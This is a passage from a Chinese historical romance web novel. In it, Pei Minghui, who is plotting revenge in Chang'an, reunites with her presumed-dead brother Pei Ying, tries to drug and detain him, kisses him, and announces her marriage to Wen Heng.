“明绘明白爹爹,以前不懂,现在懂了,所以明绘自此以后,永远不会在责怪爹爹了。” 明绘小小地胳膊紧紧圈着明子玉的颈项。 “……” 明子玉屈膝半跪于地,终究,他再也无法压抑心中那铺天盖地的情感,无声的歇斯里地地大哭起来。 “爹爹,去罢。” 明绘仔细地擦去明先生的眼泪,粲然一笑,天地生辉。 “我会好好生活的。” 风雪震天动地,明绘渐渐松开了明先生的手。 她无比贪恋父亲的温暖,可是时间已经到了,分离的时刻也已经到来。 走罢。 明绘渐渐后退。 分开罢。 明绘却停住脚步,回头看着明子玉越走越远的身影。 能够与你再见上这一面,我已经心满意足了。 可是看着明子玉的身影消失在风雪里,明绘终究无声地大哭起来。 明绘的哭声越来越小,泪水渐渐往内六,她慢慢地往前走,走过了熟悉而又痛苦的六年风雪。 在许缤刺耳的笑声中,粉色丝绢制的绣球怦然坠地,溅起一地的雪花纷纷扬扬。 明绘长长叹了一口气,自己抱膝坐在角落,用手背擦去了眼泪,然后乖乖地等待着。 等待那命中注定将要到来的人。 每一次心跳,都是时间的流逝,都是那既定情缘的开始的宣召。 在漫长而又短促的心跳声,明绘将脑袋搁在有些冰冷的膝窝里,看着自己的每一次呼吸所形成迷蒙的冰雾。 她恍然觉得,眼前的冰雾像极了泪水蒙在眼眶时的情景。 忽然,簌簌雪堆落下,然后似乎有谁从树上掉了下来,然后有有谁向她跑来。 可是她竟在满是冰冷雪气的空气里隐隐嗅到一丝呛人的烟味,她猛然站起身来,向着声音来处看去,却看见漫天火花如毒蛇一般紧紧缠绕在房梁之上,很快,噼里啪啦火焰燃烧声椽梁断折声从头顶传来。 而彼时,那朝思暮想的人却向着她义无反顾地跑了过来,奔向死亡。 “不……” 裴明绘的心跳过速,甚至要从喉咙里跳出来。 如果你能够活过来,我心甘情愿为你而死。 并为此甘之如饴。 就如你对我一般。 她猛烈跳动的心跳拼命阻止着她的脚步,全身上下的每一寸血肉都在组织她自寻死路,可是偏偏她不怕死。 她发了疯一般向他跑过去,她用尽浑身上下所有的力气,冲向那朝思暮想梦寐不忘之人。 她一把抱住他的腰,将他扑倒在地,二人借着惯性在地上滑行,一时雪雾纷纷,巨大的疼痛一下子攫取了裴明绘的意志,胸腔里的那颗极具跳动的心脏瞬间停止了跳动,一瞬间全身上下的血液瞬间冷了下来。 可是裴明绘却笑了起来,所有的不安,所有的痛苦,却在在此时此刻奇迹般地尘埃落定。 重击之下,裴瑛猛然惊醒火焰燃烧椽梁断折之声从头顶传来,他一抬头,坠落的火焰凝作他瞳眸中的一点光亮,并逐渐逐渐绽放开来,化作铺天盖地的火焰。 几乎是瞬息之间,裴瑛迅速撑地起身,手腕翻转,反手一剑劈下,咔嚓一声,砸落的房梁瞬息断为两截,花火四溅。 第71章 再相见 大雨倾盆, 浇灭了凶猛的火焰,苍苍雨幕下,是一片焦黑的废墟。 裴瑛站在雨里, 浑身都雨浇得湿透。 “快,快, 快救人!” 兰陵的守卫后知后觉地拥了上来,裴瑛脚步轻动,身影便彻底消逝在磅礴的雨幕里。 裴瑛并没有离开,他隐在暗处,看着长安的使者收敛那具被烧得体无完肤的焦骨,扬起送葬的白幡, 一路嚎哭着上路了。 此日的三日之后, 大雨停歇,明亮清澈的日光照在潮湿泥泞的土地之上,等待土地渐渐干燥,兰陵县令遂走水身亡。 —— 六月初, 微雨。 头好疼。 一阵直奔头脑的疼痛瞬间让裴明绘醒了过来, 她抱着头, 在榻上缩成了虾米,又过了好久,她急促的呼吸才平缓下来,取而代之的, 是屋外淅淅沥沥缠绵不休的雨声。 下雨了? 她心里疑惑,起身随意穿上绣履,走到窗边, 双手推开窗子,那细密的雨粉被微风裹挟着一同扑在她的面上, 这份夏日清凉的潮湿随着她的呼吸,让她稍稍清醒了些。 窗外小庭院的花草树木尽情地在温柔的雨水里舒展着身躯,而夏日的闷热也在此时荡然无存,裴明绘入目所见皆是一片潮湿。 “小姐,仔细着凉。” 聂妩抱了斗篷来仔细给裴明绘披上,又将兜帽给她带上:“辎车已经备好了,摘月楼那边的宴席也备好了,想必如今客人也都到了,等会要不要叫辎车快些?” “不必。” 大大的兜帽自头顶遮下来,将裴明绘的脸挡住了一大半,只露出愈发清瘦的尖尖下巴与那张几无血色的唇。 “左右我是主人,我不来,难道他们就会走吗?他们可巴不得我上去给他们送钱呢?就叫他们等着,让他们知道,这天大的钱也不是谁都能要的,再说了,让他们轻易得了这笔钱,他们就未必会给我轻易办这件事了。” “更衣罢,时候却是不早了。” “诺。” 聂妩应道,她走过去为裴明绘更衣梳妆,可是她的眼珠转了转,似乎是有话想说,裴明绘见她欲言又止,遂道:“怎么了?” “小姐的行为怕是太过明目张胆了,这般帮着丞相对付御史大夫,不怕惹恼了他吗?” 裴明绘冷笑一声,抹了胭脂的唇翘起一个挑衅的弧度:“他恼了又怎么样,我已明白告诉他了,我这人无依无靠的,因着过去的那些冤仇,若不寻个大的靠山,早就没了活路了。他若想我帮他,倒也不是不行。我这个人现在没什么野心,就是谁赢帮谁罢了。” 聂妩点了点头。 裴明绘跪坐在镜台上,将耳垂上那只明珠打造的耳珰摘了下来,从妆奁里取出那耀眼的翠羽金耳珰:“再说了,他恼了又怎么样,他若是真有本事,就杀了我。可杀了我,他就能顺心吗?” “小姐虽有渔翁之心,可是还是小心为上,我说句心里话,这温珩近来行事越发疯狂,天知道他又会做出什么越轨的事来。” “好了好了。” 裴明绘转过身来,微笑着握住聂妩的手。 “我知道你是为着我好,但是当今之时,我的两个仇人都身居高位,可我若想要一次除掉两个,定然会招致二人联合的报复,但是我若先迂回联合其中一个,借此除掉另一个,剩下那一个,最算他强势,可这天底下还有比他还厉害的人呢,早晚就有他死的时候。” 原本她本打算借温珩之手除掉窦玉,却不曾想温珩这厮委实聪明,知道现在窦玉处在上风不宜有所动作,故百般迂回推辞,不想与窦玉做正面的交锋,更是屡屡敷衍与她。 在裴宣之死后,裴明绘在也等不了了,她遂立即转了向,在窦府上哭了一通,真情切意地说了一番自己的苦楚,诉之以过往裴瑛与窦玉的师生情谊,又加诸于民间街巷的流言相逼迫,总算是将二人暂时的利益绑在一处,二人自此也算同仇敌忾起来了。 不过哪有什么同仇敌忾,只有彼此碍着虚假的情面不能动手罢了。 一想到这里,裴明绘心里涌上深深地疲惫来。 这样的没有尽头的复仇的日子,何时能够结束呢? 若是有朝一日他回来了,能否看到一个无宿仇的长安呢? 这疲惫渐渐从心底漫了上来,一直浮在她的面上,唇上那娇艳的胭脂色似乎也枯萎下去了。 “走罢。” 裴明绘深吸一口气,将所有的疲惫都压了下去,手撑着镜台,慢慢地站了起来。 “再歇会儿,也许他们就该闹起来了。” 辎车辚辚地驶过青石板铺就得长街上,裴明绘闲来无事,便随手挑起了帘子,她深邃漆黑的眼眸穿过细如银针密如牛毛无处不有无处不在的春雨,放在了来来往往的行人之上。 长街两侧招徕客人的旗幡在风中微微飘扬着,一侧小楼之上他倚着栏杆长身而立,素白修长的手指捏着吉金色的青铜酒爵,漫无目的地转着,清澈酒液微微荡漾起涟漪,这是隐在竹编帽檐之后的锐利而又深邃的眼睛,他的目光追随着裴府的马车,看着它渐渐消失在春雨里,方才收回了目光,顺势将爵中酒倒在一侧的堆着白石的花盆里。 雨又大了些,许多未带着伞的行人纷纷挤进了酒楼,酒楼一下子就嘈杂起来。 “哎呀,这雨怎么突然就下大了。” “哎呀,我家窗子还没关呢。” “看看罢,这夏天的雨一贯都是急一阵缓一阵的。” 话音刚落,外面的急促的雨声果然又缓了些。 他将斗笠又压低了些,随着往外走的人流一并出了酒楼。 摘月楼背倚明湖,每当夜晚来临之时,那澄明的月亮便会落在这片映着千家连绵灯火的湖里,这般时候,便会有上百只精巧小舟或画舫游船从容行于湖上。 酉时三刻,雨初霁,夕阳衔山,天地皆红。 摘月楼的灯火也通明了,里里外外回响起推杯换盏之声,间或夹杂欢声笑语,裴府的辎车停在摘月楼前,便有小厮接引。 裴明绘下了辎车,马夫便在小厮导引之下去了后院的车马城。 “这边请。” 摘月楼的主事早早在就在门前候着了,一见裴明绘来了,急忙堆起满脸的笑脸迎了过来:“小姐,这边请,宾客都已经到齐了。” 裴明绘止步笑道:“对了,你等会送上百年凤酒,全当我来迟的赔礼罢。” 摘月楼的主事更是笑得灿烂:“哪里哪里,宾客们都翘首以盼小姐的到来呢。” 一进摘月楼的大门,迎面而见的便是那宽敞明亮又华贵高雅的大厅,一行人自往右走上来二楼,二楼整地都铺着柔软的红毡,红毡的尽头是一道华丽的大门,大门两侧守候着两位俏丽的婢女,两位婢女一见裴小姐来了,素净的双手一齐握住铜包的门把,轻轻一推,屋内的喧闹如流水一般流淌出来,红纱被带进来的风吹拂着微微飘扬起来。 裴明绘面上的疲惫顿时一扫而空,她满脸盈笑款款而至。 室有五丈宽,其间疏落有致摆着十余张长案,里面坐着的都是朝廷的新贵,他们一见裴小姐来了,纷纷都起身迎接。 “是我来迟了,还请诸位大宾见谅,我特为大家备上百年凤酒以为赔罪。” 裴明绘莞尔一笑,抬手便让人将一桶桶铜箍着酒桶抬了进来。 “哪里能让裴小姐如此破费呢?” “是啊是啊。” “还请众位不要推辞了。” 裴明绘在侍女的搀扶之下从容地坐在了主位上,“这些许凤酒又算得了什么,诸位接下来帮我这么大忙,就算我倾尽家财也不能报答的啊。” 人群中遂爆发出笑声来,原本平淡的气氛一下子被点燃了。 …… 雨又下起来了,淅淅沥沥的声音回响烟雨朦胧的长安城,明湖之上绽开朵朵涟漪,潮气渐渐浮泛在广阔的水面之上,晕开了摘月楼那火红明媚的灯火。 黑色的长靴停在了摘月楼门前,白衣人带着斗笠,他在门前停顿了片刻,便慢慢走进了渐渐消歇的摘月楼。 门口的主事见状想要走过去拦住他,却又在白衣人的强大压迫气息下没了声息,毕竟能在长安兴办起产业的人,在看衣冠看气魄识人这方面,一般都有卓越的天赋。 白衣人浑身氤氲着潮气,似乎是在雨中等待了许久。 他极有目的穿过大厅直上二楼,一路并无阻拦,一直到了紧紧关闭的大门前,修长苍白的手抬起来,放在冰冷沉重的门扇之上。 他久久停顿着。 深吸一口气之后,白衣人方才推开了门。 灯烛闪烁,红纱飞扬,欢宴方散,却只剩下那主座上的人。 当借着红纱飘起的间隙看清那人模样之时,白衣人的身子瞬间定在当场,过了许久,他才从怔愣中缓过神来,转过身将门轻轻关上。 沉重的大门关上之后,飞扬的红纱也落了下去。 他长身站着,久久地看着眼前的人。 迷蒙的红纱,像是隔着千百年的被错过的光阴。 一只手有些僵硬地抬起来,白色的宽大广袖也跟着抬了起来,他的手放在斗笠的边沿,缓缓将斗笠拿了下来。 那深邃而又优雅的眼眸,透过迷蒙的红纱,无比深刻地望向了那在红纱之后的人。 裴明绘喝了许多的酒,这百年的凤酒最是醇香,却也最是醉人的,原本婢女想搀她回去,却又被她呵斥,只得退了下去。 她醉了酒,人一醉了酒,这心底的被压着藏着的许多事便会情绪翻涌出来。 那些不敢回忆丝毫的,只能积压的痛彻心扉的快乐幸福的诸多回忆在此时无遮无拦地再现在裴明绘脑海里。 她筋疲力尽,连哭的力气也没有了,只能疲惫地伏在长案之上,久而久之,胳膊也麻了,她便勉力支撑起上半身,用手肘撑着桌案,一抬头便看见了那红纱之后的人。 他先是呆住了,努力地眨了眨眼,可是却是无论如何都看不清。 她想,她却是醉了,醉倒眼睛也都模糊了。 她努力眨了眨眼睛,方才看清了眼前是一道红纱,依着红纱的上映着的人的轮廓,当是为颀长优雅的男子。 裴明绘蹙起了眉,她冷冷一笑。 这些人也未免太过贴心了些,知道她没男人,还特地送上来一位。 裴明绘陡然发起脾气来,借着被酒气催生的怒气,猛地便将长案空着的酒爵朝着那道身影狠狠掷了过去。 那人脚步微动,身子微侧,顺势伸手一捞,便将那酒爵纳入手中。 裴明绘挑起了一边的眉毛,仔细打量那道身影。 好生熟悉,却好生陌生。 裴明绘那颗沉寂已久的心奇迹般再度鲜活地跳动起来,她忍不住想要站起来,那何长时间的跪坐让她的腿也麻了,第一次竟也没有站起来,反而又跌坐了回去。 裴明绘自嘲一笑。 怎么可能。 情毒已解,他只怕,此生都不愿见到她了。 自己竟也醉成这样了,奢望着他还能再见她一面,哪怕是道别也好。 酒气上涌,她的面容上泛起红来,可是她的眼神却是那么悲伤那么忧郁,像是由泪水汇聚而成的深潭,光影交错间,幽幽然不见潭底。 “你是谁?” 裴明绘笑了起来,她的手肘撑在长岸上,手指虚缩成拳,那清瘦的脸庞便搁在手骨节之上,一双眼睛微微眯起,整个人似乎都沉醉在酒里了。 “是来找我的吗?” 隐在红纱之后的那个人没有说话。 “怎么不说话了?” 裴明绘将身靠在身后凭几之上,寻了个舒服的姿势,她继续看向那人,颇为轻浮地挑了挑眉。 “难道你是个哑巴,还是说,你害羞了?” 话音甫落,原本酒香氤氲的厅堂瞬间冷了下来。 悚然的沉默里似乎有骨节响动之声。 “哟,还生气了?过来。” 裴明绘向男人轻佻地招了招手,她忽然觉得有些口渴,便将一旁的酒爵里的酒一饮而尽,可她忽然惊觉,往日醇香浓郁的凤酒,此时却多了一种孤寒萧瑟的滋味。 那人依旧不疾不徐地走着,他渐渐走出迷蒙艳丽的红纱,像是缓缓步出历史的迷雾一般,向她走来。 第72章 再相见,疾风骤雨 那只苍白修长的手拿住了她的酒爵, 轻轻一拿,便将她的酒爵拿走了。 裴明绘看着那只手缓缓将她的酒爵抽离,她的目光微微凝固了, 一侧连枝灯火的亮光开始迷蒙漫漶开来,那幽幽的像是雾霭的光亮, 像极了像是那雪夜里,骤然绽放的焰火的华光。 哗啦哗啦的雨声,在此刻像极了那时的鞭炮齐鸣与欢声笑语。 那时的她,含着愠怒便回过头去,可就在回头的刹那,一张笑吟吟的面容便撞进了两个人眼中。 修长的眉眼, 高挺的鼻梁, 优雅的薄唇,一笔一画浑然天成,绯金色的光间或落在他的脸上,为这天工神笔的容颜镀上一层柔和却又美丽逼人的光泽。 一时情绪激荡, 气血上涌, 她的眼前一阵阵发黑, 她急忙伸出手去,以手支地,方才没有摔倒,她又抬起头来, 眼前却依旧是那绚烂烟火的景象,以及那微微微笑着的人。 是梦吗? 是他吗? 这个年头,这个景象, 像是一支跨越光阴的箭,重重地射在了她立即站了起来, 慌忙迈出去的步子却又被裙裾绊倒,那人见状,伸出双手,稳稳将她接进自己的怀抱。 裴明绘伏在那个人满布着大雨潮气的怀抱,每一次呼吸都是黏腻的潮湿气息,可是那近在咫尺的心跳像是擂响的战鼓,极为用力地,一下接着一下地,震动她这她的耳膜。 乌云四合,大雨连绵。 一道闪电闪过,惨白的光瞬间便照亮了整座华丽奢靡的厅堂,一道疾风刮过,顿时窗扇大开,,一次呼吸的功夫,所有的灯烛尽数熄灭,原本轻轻地飘着的红纱瞬间狂风漫卷起来,在空中肆意飞舞荡漾着,清凉的雨粉也被吹了进来,敷在裴明绘面上,让她在无比的疯狂与欢喜中有了些许的清醒。 她涣散的瞳眸有过一瞬的聚合,可是眼前那无比熟悉的面容却瞬间又成了焦黑的头骨,空洞洞的毫无一物的眼睛像是深渊,望着绝望的她。 日日夜夜,巫蛊贻害,让她深坠梦魇。 不得解脱。 “啊——” 过去无数个日夜里的噩梦在此刻重演,因为巫蛊导致的癔症掠夺了她的清醒。 她猛然推开裴瑛,跌跌撞撞又往别处跑去。 可是方走出不过半步,却又被圈回了那个冰凉潮湿的怀抱,裴明绘拼命想要挣脱,可是那横在她胸前的手臂却像是金铁一般挡着,死死将她拦在怀中。 “别怕,我回来了。” 哽咽的嘶哑的声音从身后传来。 这无比熟悉的无比陌生的声音传来,蒙在裴明绘眼前的黑雾瞬间消散,她不可置信地回过头去,借着一次接着一次闪过的闪电的光,看清了那让她朝思暮想让她痛苦不堪的脸。 她的瞳眸不住地晃荡着,像是一汪蓄满的雨水的秋池,波澜不息映着他的脸容。 他不说话,只看着她。 她流着泪,也只看着他。 多少的年的别离,多么遥远的时光,在二人交汇的目光中,达到了终点。 “你……你来了,你来见我了。” 这么多年来,思念与痛苦几乎磨去了她所有的骨头与力气,她凭借着仇恨,又一口重新站了起来,可是此时此刻,她一看到他,看到活生生的他,她的身体顿时没了力气,横在她腰后的臂膀一用力,裴瑛随后半跪于地,让她靠在自己的身上。 多少年了。 她在心里问自己。 裴瑛看着自己怀里的妹妹,看着她的脸容在黑夜中苍白得像是一捧新雪的颜色,眼瞳满是惊惧与不安,方才从疯狂中苏醒过来的而不断拼命地呼吸着不能闭合的唇。 在这一刻,所有的隔阂荡然无存。 裴瑛的眼睛因为长时间凝神而酸涩异常,他眨了眨眼睛,千言万语堵在喉咙,竟一句话都说不出来。 “我原以为,你再也不愿来见我了。” 她颤巍巍地伸出手,想要触摸裴瑛的脸,可是就在她的指尖却又停在他脸庞的半寸之遥。 裴瑛的黑色眼眸一瞬不离地看着她。 这么多年的别离,这么遥远的岁月,终在此刻相会。 她心道。 窗外风势转大,冰凉的雨珠落在他们的身上。 裴明绘像是发呆一般看着他,最终,却还是慢慢地收回了手。 她慢慢积蓄力量,坐了起来,久久的看着裴瑛,然后慢慢地抱住了裴瑛,她的手臂慢慢环绕过他的颈项,将身体仅仅贴在他的身上。 “你终于回来了。” 哽咽的,带着无尽思念与委屈的声音轻轻响在裴瑛的耳边,这一刻,世间的所有所有,都比不上她。 二人过去的所有争执,所有不悦,在此刻烟消云散。 “我回来了。” 他轻轻地说着。 可就在裴瑛准备抬手抱住裴明绘的时候,他却听见身后在躲在疾风骤雨中不同寻常的风声,裴瑛顿时警觉,可是他的颈被妹妹紧紧环抱着,他丝毫都动弹不得。 是谁? 裴瑛的眼睛微微眯了起来,他单手抱住妹妹纤弱单薄的背,另一只手却不动声色地摁在了剑柄之上。 他并不欲打草惊蛇。 她却以为一切尽在鼓掌中。 一道闷哼,裴明绘感受到裴瑛软倒在自己怀里,她闭紧了眼,紧紧咬住唇,颤抖的手一下接着一下抚摸着裴瑛的潮湿的发丝。 她不舍地,紧紧抱着裴瑛,过了好久,等到外面雨势稍歇,她才将他放倒在地上,而后跪坐在地上,十分珍重地看着裴瑛,灯烛重新亮起,照亮了她秀美面容上极尽悲哀的神色。 她笑了起来,笑着笑着,就哭了起来:“哥哥,我就知道,你如果活着,就一定会来找我,我还能再见到你,我……我真的好高兴,这一天,我等的太久了,可是……可是你回来的太早了,长安里的棋,我还差一步,就下完了。” 她说着说着,又哭着笑了起来:“你说,你回来这么早干什么啊。” 她看着紧紧闭着眼睛的裴瑛,万分不舍。 可是就算有着这万分的不舍,也到了该离别的时候。 “等到哥哥再次醒来的时候,长安就安全了。” 裴明绘终是掩面而泣,她在暗卫的搀扶之下起身,他挥了挥手,示意两侧暗卫将裴瑛绑住。 可就在两侧的暗卫方才上前,欲将裴瑛架起的时候,裴瑛紧闭的眼睛却倏然睁开,手猛地摁住剑鞘,唰得一下幽幽蓝光闪光,他本想以剑锋取得二人性命,可是转念一想,终是一转手腕,以剑柄狠击一人后脑,同时顺势用剑柄击中一人腹部,那人被打飞,重重摔在屏风上,屏风咣当倒地,摔得四分五裂。 “啊。” 裴明绘万万没有想到裴瑛竟然没有晕,急忙下令隐藏在四处的暗卫出动:“给我拿下他!” 裴瑛的漆黑眼眸紧紧盯着惊慌失措的裴明绘。 他以一种极为陌生的眼神重新打量一下自己的妹妹,疑惑的不解的愠怒的情绪流转在他的眼底,五指松开又重新握紧剑柄。 裴明绘被裴瑛的目光扫过,她冷不丁自骨头里渗出寒意,可是今时不同往日,这么多年痛苦的折磨走过来,她早已不是那个束手以待的裴明绘了。 裴瑛的眼神威胁恫吓,对于此时此刻的她,用处并不大。 如今刀兵在手,优势在她。 “哥哥,我今日还能叫你一声哥哥,是上天的恩情。” 裴明绘敛裙跪下,与此同时,埋伏在四处的暗卫持着长剑渐渐围拢过来,形成了密不透风的包围圈,将裴瑛包围在内。 此般架势,势必要将裴瑛拿下。 “还请哥哥看在妹妹的份上,莫要在挣扎了。” “子吟。” 裴瑛的目光放在长身跪着的裴明绘身上,渐渐勾起了唇。 “经年不见,你的本事却是愈发长进了。” “一别三日,本但凡刮目相看,更何况是相隔数载风霜与仇恨呢?我只是不能再失去哥哥,今日长安局势,妹妹已然尽在掌握,只待先机一发,让妹妹除了那两个恶人,到时自会还哥哥自由。到时哥哥,想做什么便做什么,妹妹也自会负荆请罪。” 裴明绘膝行几步,仰头看着裴瑛,泪眼婆娑。 “还望哥哥体谅妹妹一番苦心,这里的武士都是江湖上的鼎鼎有名之人,还请哥哥不要在挣扎了,别再受伤了。” 言罢,她便倾身叩首。 裴瑛没有应答,只是面色无比复杂地看跪在地上的裴明绘。 数年的遥远的分别的岁月,已然在二人之间氤氲缭绕出一片迷蒙的烟雾。 他们都在这片迷雾之后,看不清彼此的心。 裴明绘再次起身之时,眼中已然没了眼泪,坚毅的不容置疑的光在眼中闪烁着,她看向左右,冷然下令:“动手。” 两侧暗卫闻令而动,包围圈瞬间缩小,形成犄角之势,渐渐将裴瑛收入囊中,可这几乎势在必得的境地,裴瑛唇畔的笑意却是愈发绚烂。 她并未见他这么笑过,心里正自疑惑,却听风雨里似乎传来惊悚的脚步之声,密集的甚至盖过簌簌风雨之声。 不知从何处而来的黑衣暗卫如潮水一般涌了过来,锋利的剑锋闪烁冰冷的寒光,包围住了裴明绘的包围圈。 “什么。” 裴明绘不可置信,她万万没有想到裴瑛的身边竟然还有如此的力量,她惊疑之下便欲夺门而出,却又被一人摁在地上,动弹不得。 一阵短暂迅猛如疾风骤雨的激烈交锋,很快,裴明绘的暗卫的长剑叮里咣当纷纷落地,暗卫们也被裴瑛的暗卫反缉拿,控在地上静待裴瑛的指示。 裴瑛一挥手,他们便被鱼贯带了下去。 裴明绘被一个暗卫擒住,被压着半跪在原地不能动弹。 裴瑛走了过去,一挥手,示意那个暗卫也退下去,失去了禁锢,裴明绘顿时瘫坐在地。 裴瑛半跪,平视着裴明绘,眼中并无恼怒之色。 裴明绘终是不能再直视他的眼睛,遂偏过头去,不再看他。 裴瑛无比仔细地看着裴明绘,看着那曾经再熟悉不过的五官变成了无比陌生的样子,他怔了怔,低下了头,笑了笑:“你长大了,不再是以前的小妹妹了,为兄很欣慰。” 他慢慢地伸出手来,修长的手抚在她清减许多的面颊之上,冰冰凉凉的,像是玉石一般细腻。 裴明绘却紧紧闭上了眼睛。 “子吟,为兄知你心意,可你还年轻,这些事,还是交由为兄来做,好吗?” 他语气温柔,无丝毫责怪之意。 “等到一切事完,为兄带你走,好吗?天涯海角,哪里都好,我们永远不再分开好吗?” 裴明绘猛地抬起头来,眼睛一瞬不离,面容满是震惊,他的话,像是利剑,一下便射中了她的心房,她颤抖着,像是秋风里瑟瑟发抖的叶,她薄而白的唇微颤着启开又阖上,心里无数想答应他的话被悉数咽了回去。 “子吟,为兄答应你,永远不会在离开你。” 裴瑛的嗓音温柔得像是在明媚春光下流淌着的春水,他的眼睛里荡漾着柔和的春波,泛着粼粼的波光,一闪一闪的,很动人。 “相信我,好吗?” 这一刻,裴明绘在也无法压抑内心的情感,火热燃烧着的情的火焰一瞬间几乎便要冲破心底的理智的坚冰。 裴明绘撑起身体,再度倾身,伸出手臂,紧紧抱住裴瑛,她冰凉的脸颊贴在裴瑛的颈窝,轻轻嗅着着他的味道,然后轻轻地吻了上去。 温热的呼吸喷洒在颈窝,随后而至的是裴明绘轻柔而僭越的吻,裴瑛的身体一僵。 她的吻轻轻撤离,长长的黑色睫羽像是蝶翼一般闪动着,磨蹭着他紧绷的神思:“那这样,哥哥也能接受吗?” 裴瑛并未回答裴明绘的话,可是却也并没有松开抱住裴明绘的手。 裴明绘的双臂紧紧搂着裴瑛的脖颈,微微闭起眼睛,歪着头,向他吻去。 可是就在关键之时,裴瑛终究偏过了头,她的吻也停在了咫尺之处。 “你看,哥哥,你会离开我的。” 裴明绘笑了起来。 “你不想和我在一起,我都知道,我都明白。所以,哥哥,不要为难自己了,也不要再伤我的心了,好吗?” 裴瑛的手指渐渐绷紧,指节处都泛起了白。 “子吟,我们的事,以后再说。” 他的声音微微有些嘶哑,目光也有些游移,可是横在裴明绘腰后的手臂却在慢慢收紧。 这份情,本就是一笔根本无法清算的糊涂账。 “哥哥这么说,便是永远不会再有答案。” “给我些时间,好吗?” 裴瑛闭上眼睛。 “哥哥,这么久的分别,不是时间吗?” 裴明绘的声音颤抖着。 “难道我们还要用一生的时间去想吗?哥哥,不要再敷衍我了,好吗,不要再伤我的心了,好吗?” 裴瑛睁开眼睛,纤长浓黑的眼睫幽幽然上移,他看着裴明绘,同时拢着她的腰开始缓慢沿着脊骨上移,一直到了她纤细的脖颈之上,冰凉的指腹所传来的她脖颈的温度,一瞬间像是烫伤一般,他立即蜷缩起了手指,目光一瞬晃动,可是下一刻,这只手却紧紧扣住她的后脑。 不容抗拒的吻,裴明绘所有的抗拒,都被死死压制。 “唔——” 莫名的疯狂涌动着情绪被强迫喂进了裴明绘的口中,阔别经年的,无比陌生无比热情的吻,生死别离之后,便也失去了过去所有的兄妹身份禁锢, 唇舌纠缠,他的吻像是麻药,而她就像是躺在他怀里慢慢被麻醉的,等待着最终时刻的到来的囚犯,一股酥麻顺着脊骨而上,最终停留在她的身体软了下来,可身后有力的手臂稳稳地将她托起,耳鬓厮磨,像是彼此缠绵不休的爱人。 喘息愈加滚烫,她的手臂却愈发紧的勾着他的脖子。 “现在呢?” 裴瑛的声音暗哑,他抬起头来,脸庞泛着如同醉了酒一般的红,可是那双眼睛却漆黑到明亮。 裴明绘的手颤抖着,暧昧迷离的温度无限上升,透过衣裳,灼烧到她的肌肤。 裴明绘低下头,再度倾身抱住裴瑛。 窗外大雨如注,稀里哗啦响个不停。 裴明绘将尖尖的下巴枕在她的肩窝,整个人似乎都放松了下来。 裴瑛依旧紧紧抱着她。 可是就在如此温存之时,她自袖中猛然翻出一根银针来,在烛火猛然炸开火花,一时炫目的光芒悠悠然照亮涂抹在银针顶端那冰冷的麻毒,几乎没有丝毫犹豫,裴明绘猛地便向裴瑛后颈穴位插去,这倏然一击,却又被裴瑛反手攥住,然后裴明绘整个人便被摁在地上。 “裴子吟,你到底想做什么?” 裴瑛单手制住裴明绘,另一只手两指攥住银针,俊雅疏朗的眉目瞬间凝起冰冷寒霜,漆黑眼眸里的隐隐流动着妖异狂澜的前兆。 “我已然告诉你我的答案,你到底还想做什么!” 他已然如此,她到底还想干什么? 无名的怒火滔天而起,宛若翻滚不息的岩浆,一波接着一波在裴瑛的心脏里翻滚冲击,几乎要将他仅存的理智悉数冲翻,可是他还是压制了下来。 他要听她的说法。 裴明绘呵呵笑了一声,发丝凌乱,她因着被裴瑛压制而无法转过身来,故只微微偏过了头,半数发丝散落下来,挡住了她的下半张脸。 她微微眯着眼,眼中满是狡黠的笑意。 这张脸径直冲击了裴瑛的面目,似乎意识到了什么,他的瞳孔立即紧缩。 那诡异的初次相见的风雪冲破岁月的禁锢,如潮水一般奔涌而来。 他隔着密如帘子的鹅毛大雪,便望见一双黑白分明的眼睛,她哀伤地望着他,像是衰败的花池里那苦苦坚持的一瓣皎洁凄美的花,浸润在寒冷秋气里,凝上一层冰冷的霜。 抑或是,最是悲伤着的却又强然欢笑着的她的容颜。 她是谁? 她说自己叫明儿。 可兰陵根本就没有明儿。 那她是谁? 一瞬间,所有的恐惧铺天盖地而来。 那濒死的梦里,他本一步踏入黄泉,又是谁,将他拼死拉了回来。 梦的最后,是谁? 又是谁,会为了他只身赴黄泉,又有谁,会为他做到如此地步。 是谁,又能有谁? 裴瑛此时此刻,仿佛天打雷劈一般,怔在当场。 她扭头看向他的那一刻,却又瞬间变得无比惊慌,一双眼睛睁得大大的,里面只有他奔向她的身影。 不,不要—— 她的眼睛里满是濒死死亡的绝望,她猛然站起来,疯了一般向他跑过来。 “快跑——” 她几乎用尽所有力气,一把抱住他的腰,将他扑倒在地。 可是想象中的疼痛并没有到来,裴瑛猛然惊醒,噼里啪啦火焰燃烧声椽梁断折声从头顶传来,他一抬头,坠落的火焰凝作他瞳眸中的一点光亮,并逐渐逐渐绽放开来,化作铺天盖地的火焰。 是……是她,竟是她? 那么欲语还休的眼神,竟都是她的无尽的哀思与痛苦。 裴瑛看着裴明绘,不可置信地松开了钳制着她的手,他一步一步后退,身体却在颤抖着,像是风中凄惶的叶,一步一退,一步一颤。 “是你……是你……” 裴瑛不可相信地看着裴明绘。 失去了裴瑛的钳制,裴明绘站了起来,她发髻已然散乱的没有了形状,她便干脆将发钗都取了下来,她抬眸看向裴瑛。 “长安的这些坏事,都是我做的,长安的这些风风雨雨,那些人,都是我借他人之手杀掉的,哥哥好不容易回来,我自会为哥哥肃清仇敌,可今时今日,却不是哥哥出面的时候,太危险了,哥哥孤身一人,若是在这个当口出手,我好不容易促成的局面便会被瓦解,他们二人随时会联合起来绞杀哥哥。我知道哥哥是个顶顶厉害的人,可是我已经失去哥哥了,我不能再冒险了。哥哥的意思,妹妹都明白,哥哥待妹妹的好,妹妹此生都铭记在心。可今已开弓,开弓便没有回头箭,我既已行之,便觉无回头之可能。我早就没有脱身的可能了,哥哥,我已经不再是以前的小妹妹了。天色晚了,今夜长安城的风雨又要急了,哥哥还是先走罢,免得淋湿了,再生了病。对了,哥哥想必也有所耳闻,我相助窦丞相而与温珩为敌的事吧,长安城人都说我唯丞相是命,哥哥怎想。哥哥若是有闲暇,不妨猜一猜,今日的风雨会落在谁的头上?” 可裴瑛的心思已然一团乱麻,他甚至听不清裴明绘在说什么,剧烈的疼痛攫取了他的理智,以至于让他疼痛到不能思考。 “等到今夜之后,便是窦玉的死期。” 裴明绘自顾自地说着:“哥哥,今后,我不会在缠着你了,你也不必再为难痛苦了,也不必再强迫自己做违心的事了。” “我要成婚了。” 一句话,石破惊天,之后伴随着滚滚沉雷炸响在裴瑛耳畔,屋内所有烛火再度熄灭,满室惨白的光亮里,裴瑛缓缓抬起了头。 “和温珩。” 